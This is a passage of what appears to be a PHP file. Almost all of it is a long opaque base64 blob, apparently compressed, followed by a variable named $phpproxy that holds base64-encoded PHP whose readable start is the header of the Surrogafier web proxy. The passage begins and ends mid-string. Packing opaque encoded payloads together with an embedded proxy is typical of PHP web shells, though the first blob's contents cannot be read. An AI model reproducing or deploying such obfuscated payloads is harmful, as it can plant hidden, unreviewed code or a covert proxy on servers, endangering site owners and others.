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";
$phpproxy="
PD9waHANCg0KIw0KIyBTdXJyb2dhZmllciB2MS4wLXJjMw0KIw0KIyBBdXRob3I6IEJyYWQgQ2FibGUNCiMgRW1haWw6IGJyYWRAYmNhYmxlLm5ldA0KIyBMaWNlbnNlOiBNb2RpZmllZCBCU0QNCiMgTGljZW5zZSBEZXRhaWxzOg0KIyBodHRwOi8vYmNhYmxlLm5ldC9saWNlbnNlLnBocA0KIw0KDQoNCiMgQ09ORklHIHt7ew0KDQojIERlZmF1bHQgdG8gc2ltcGxlIG1vZGUgd2hlbiB0aGUgcGFnZSBpcyBsb2FkZWQuIFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9TSU1QTEUnLGZhbHNlKTsNCiMgRm9yY2UgdGhlIHBhZ2UgdG8gYWx3YXlzIGJlIGluIHNpbXBsZSBtb2RlIChubyBhZHZhbmNlZCBtb2RlIG9wdGlvbikuIFtmYWxzZV0NCmRlZmluZSgnRk9SQ0VfU0lNUExFJyxmYWxzZSk7DQojIFdpZHRoIGZvciB0aGUgVVJMIGJveCB3aGVuIGluIHNpbXBsZSBtb2RlIChDU1MgIndpZHRoIiBhdHRyaWJ1dGUpLiBbMzAwcHhdDQpkZWZpbmUoJ1NJTVBMRV9NT0RFX1VSTFdJRFRIJywnMzAwcHgnKTsNCg0KIyBEZWZhdWx0IHZhbHVlIGZvciB0dW5uZWwgc2VydmVyLiBbXQ0KZGVmaW5lKCdERUZBVUxUX1RVTk5FTF9QSVAnLCcnKTsNCiMgRGVmYXVsdCB2YWx1ZSBmb3IgdHVubmVsIHBvcnQuIFtdDQpkZWZpbmUoJ0RFRkFVTFRfVFVOTkVMX1BQT1JUJywnJyk7DQojIFNob3VsZCB0aGUgdHVubmVsIGZpZWxkcyBiZSBkaXNwbGF5ZWQ/ICJmYWxzZSIgdmFsdWUgaGVyZSB3aWxsIGZvcmNlIHRoZSBkZWZhdWx0cyBhYm92ZSBbdHJ1ZV0NCmRlZmluZSgnRk9SQ0VfREVGQVVMVF9UVU5ORUwnLHRydWUpOw0KDQojIERlZmF1bHQgdmFsdWUgZm9yICJQZXJzaXN0ZW50IFVSTCIgY2hlY2tib3ggW3RydWVdDQpkZWZpbmUoJ0RFRkFVTFRfVVJMX0ZPUk0nLHRydWUpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfQ09PS0lFUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFJlZmVyZXIgRmllbGQiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfUkVGRVJFUicsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIFNjcmlwdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfU0NSSVBUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiUmVtb3ZlIE9iamVjdHMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9SRU1PVkVfT0JKRUNUUycsZmFsc2UpOw0KIyBEZWZhdWx0IHZhbHVlIGZvciAiRW5jcnlwdCBVUkxzIiBjaGVja2JveCBbZmFsc2VdDQpkZWZpbmUoJ0RFRkFVTFRfRU5DUllQVF9VUkxTJyxmYWxzZSk7DQojIERlZmF1bHQgdmFsdWUgZm9yICJFbmNyeXB0IENvb2tpZXMiIGNoZWNrYm94IFtmYWxzZV0NCmRlZmluZSgnREVGQVVMVF9FTkNSWVBUX0NPT0tTJyxmYWxzZSk7DQoNCi8qLyBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIFwqXA0KDQpGb3JtYXRzIGZvciBhZGRyZXNzIGJsb2NraW5nIGFyZSBhcyBmb2xsb3dzOg0KDQogIDEuMi4zLjQgICAgIC0gcGxhaW4gSVAgYWRkcmVzcw0KICAxLjAuMC4wLzE2ICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLjAvMTYgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICAxLzggICAgICAgICAtIHN1Ym5ldCBibG9ja2luZw0KICBwaHAubmV0ICAgICAtIGRvbWFpbiBibG9ja2luZw0KDQpEZWZhdWx0IFZhbHVlOiAnMTAvOCcsJzE3Mi84JywnMTkyLjE2OC8xNicsJzEyNy84JywnMTY5LjI1NC8xNicNCg0KXCpcIEVuZCBBZGRyZXNzIEJsb2NraW5nIE5vdGVzIC8qLw0KDQokYmxvY2tlZF9hZGRyZXNzZXM9YXJyYXkoJzEwLzgnLCcxNzIvOCcsJzE5Mi4xNjgvMTYnLCcxMjcvOCcsJzE2OS4yNTQvMTYnKTsNCg0KIyB9fX0NCg0KIyBBRFZBTkNFRCBDT05GSUcge3t7DQoNCiMgVGhlIGZvbGxvd2luZyBvcHRpb25zIGFsdGVyIHRoZSB3YXkgZG9jdW1lbnRzIGFyZSBwYXJzZWQgb24gdGhlIHBhZ2UuICBPTkxZIEVESVQgVEhJUyBTVFVGRiBJRiBZT1UgUkVBTExZIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIQ0KDQojIDUwMCBpcyB0aGUgbW9zdCByZWFzb25hYmxlIG51bWJlciBJIGNvdWxkIGNvbWUgdXAgd2l0aCBhcyBhIG1heGltdW0gVVJMIGxlbmd0aCBsaW1pdA0KIyBJIHJhbiBpbnRvIGEgMTIwMCsgY2hhcmFjdGVyIGxvbmcgVVJMIG9uY2UgYW5kIGl0IG5lYXJseSBtZWx0ZWQgdGhlIHByb2Nlc3NvciBvbiBteSBsYXB0b3AgdHJ5aW5nIHRvIHBhcnNlIGl0DQojIEhvbmVzdGx5LCB3aG8gbmVlZHMgdGhpcyBsb25nIG9mIGEgVVJMIGFueXdheT8NCmRlZmluZSgnTUFYSU1VTV9VUkxfTEVOR1RIJyw1MDApOw0KDQojIFRpbWUgbGltaXQgaW4gc2Vjb25kcyBmb3IgYSBzaW5nbGUgcmVxdWVzdCBhbmQgcGFyc2UuIFsxMF0NCmRlZmluZSgnVElNRV9MSU1JVCcsMTApOw0KIyBUaW1lIGxpbWl0IGluIG1pbnV0ZXMgZm9yIGEgRE5TIGVudHJ5IHRvIGJlIGtlcHQgaW4gdGhlIGNhY2hlLiBbMTBdDQpkZWZpbmUoJ0ROU19DQUNIRV9FWFBJUkUnLDEwKTsNCg0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgdXNlciAobGVzcyBiYW5kd2lkdGgsIG1vcmUgQ1BVKSBbZmFsc2VdDQpkZWZpbmUoJ0daSVBfUFJPWFlfVVNFUicsZmFsc2UpOw0KIyBVc2UgZ3ppcCAoaWYgcG9zc2libGUpIHRvIGNvbXByZXNzIHRoZSBjb25uZWN0aW9uIGJldHdlZW4gdGhlIHByb3h5IGFuZCB0aGUgc2VydmVyIChsZXNzIGJhbmR3aWR0aCwgbW9yZSBDUFUpIFtmYWxzZV0NCmRlZmluZSgnR1pJUF9QUk9YWV9TRVJWRVInLGZhbHNlKTsNCg0KIyBQcm90b2NvbCB0aGF0IHByb3h5IGlzIHJ1bm5pbmcgb24uICBVbmNvbW1lbnQgdGhpcyBsaW5lIHRvIGRlZmluZSBpdCBtYW51YWxseS4NCiMgSWYgeW91IGxlYXZlIHRoaXMgbGluZSBjb21tZW50ZWQsIHRoZSBjb2RlIGRldGVjdHMgaWYgeW91IGFyZSBydW5uaW5nIG9uIGFuDQojIEhUVFBTIGNvbm5lY3Rpb24uICBJZiB5b3UgYXJlLCB0aGVuICdodHRwcycgaXMgdXNlZCBhcyB0aGUgUFJPVE8gdmFsdWUsDQojIG90aGVyd2lzZSAnaHR0cCcgaXMgdXNlZC4gIElmIHlvdSBuZWVkIGEgZGlmZmVyZW50IHZhbHVlIGhlcmUsIHRoZW4gZGVmaW5lIGl0Lg0KI2RlZmluZSgnUFJPVE8nLCdodHRwJyk7DQoNCiMgfX19DQoNCg0KLy8gRE9OJ1QgRURJVCBBTllUSElORyBBRlRFUiBUSElTIFBPSU5UIFxcDQoNCg0KIw0KIyAodW5sZXNzIHlvdSBhYnNvbHV0ZWx5IGtub3cgd2hhdCB5b3UgYXJlIGRvaW5nLi4uKQ0KIw0KDQojIENPT0tJRSAmIFNFU1NJT04gU0VUVVAge3t7DQoNCi8vJHRvdHN0YXJ0dGltZT1taWNyb3RpbWUodHJ1ZSk7ICMgQkVOQ0hNQVJLDQovLyRibG9ja2VkX2FkZHJlc3Nlcz1hcnJheSgpOyAjIERFQlVHDQoNCiMgc2V0IGVycm9yIGxldmVsIHRvIG5vdCBkaXNwbGF5IG5vdGljZXMNCmVycm9yX3JlcG9ydGluZyhFX0FMTF5FX05PVElDRSk7DQoNCiMgc2V0IHRpbWUgbGltaXQgdG8gdGhlIGRlZmluZWQgdGltZSBsaW1pdCwgaWYgbm90IGluIHNhZmUgbW9kZQ0KaWYoIWluaV9nZXQoJ3NhZmVfbW9kZScpKSBzZXRfdGltZV9saW1pdChUSU1FX0xJTUlUKTsNCg0KIyB1c2UgZ3ppcCBjb21wcmVzc2lvbiBpZiBhdmFpbGFibGUNCmlmKEdaSVBfUFJPWFlfVVNFUiAmJiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJykpIG9iX3N0YXJ0KCdvYl9nemhhbmRsZXInKTsgIyB1c2UgZ3ppcCBlbmNvZGluZyB0byBjb21wcmVzcyBhbGwgZGF0YSwgaWYgcG9zc2libGUNCg0KIyByZXZlcnNlIG1hZ2ljIHF1b3RlcyBpZiBlbmFibGVkDQppZihnZXRfbWFnaWNfcXVvdGVzX2dwYygpKXsNCglmdW5jdGlvbiBzdHJpcHNsYXNoZXNfcmVjdXJzZSgkdmFyKXsNCgkJaWYoaXNfYXJyYXkoJHZhcikpICR2YXI9YXJyYXlfbWFwKCdzdHJpcHNsYXNoZXNfcmVjdXJzZScsJHZhcik7DQoJCWVsc2UgJHZhcj1zdHJpcHNsYXNoZXMoJHZhcik7DQoJCXJldHVybiAkdmFyOw0KCX0NCgkkX0dFVD1zdHJpcHNsYXNoZXNfcmVjdXJzZSgkX0dFVCk7DQoJJF9QT1NUPXN0cmlwc2xhc2hlc19yZWN1cnNlKCRfUE9TVCk7DQoJJF9DT09LSUU9c3RyaXBzbGFzaGVzX3JlY3Vyc2UoJF9DT09LSUUpOw0KfQ0KDQojIHNjcmlwdCBlbnZpcm9ubWVudCBjb25zdGFudHMNCmlmKCFkZWZpbmVkKCdQUk9UTycpKSBkZWZpbmUoJ1BST1RPJywoJF9TRVJWRVJbJ0hUVFBTJ109PSdvbic/J2h0dHBzJzonaHR0cCcpKTsNCmRlZmluZSgnVkVSU0lPTicsJzEuMC1yYzMnKTsNCmRlZmluZSgnVEhJU19TQ1JJUFQnLFBST1RPLiI6Ly97JF9TRVJWRVJbJ0hUVFBfSE9TVCddfXskX1NFUlZFUlsnUEhQX1NFTEYnXX0iKTsNCmRlZmluZSgnU0lNUExFX01PREUnLERFRkFVTFRfU0lNUExFIHx8IEZPUkNFX1NJTVBMRSk7DQoNCiMgUmFuZG9taXplZCBjb29raWUgcHJlZml4ZXMgIw0KZnVuY3Rpb24gZ2VuX3JhbmRzdHIoJGxlbil7DQoJJGNoYXJzPW51bGw7DQoJZm9yKCRpPTA7JGk8JGxlbjskaSsrKXsNCgkJJGNoYXI9cmFuZCgwLDI1KTsNCgkJJGNoYXI9Y2hyKCRjaGFyKzk3KTsNCgkJJGNoYXJzLj0kY2hhcjsNCgl9DQoJcmV0dXJuICRjaGFyczsNCn0NCg0KZnVuY3Rpb24gZG9zZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmU9bnVsbCl7DQoJJF9DT09LSUVbJGNvb2tuYW1lXT0kY29va3ZhbDsNCglpZigkZXhwaXJlPT09bnVsbCkgc2V0Y29va2llKCRjb29rbmFtZSwkY29va3ZhbCk7DQoJZWxzZSBzZXRjb29raWUoJGNvb2tuYW1lLCRjb29rdmFsLCRleHBpcmUpOw0KfQ0KDQpkZWZpbmUoJ0ZJUlNUX0xPQUQnLGVtcHR5KCRfQ09PS0lFWydQSFBTRVNTSUQnXSkpOw0Kc2Vzc2lvbl9zdGFydCgpOw0KaWYoZW1wdHkoJF9TRVNTSU9OWydzZXNzcHJlZiddKSl7DQoJJHNlc3NwcmVmPWdlbl9yYW5kc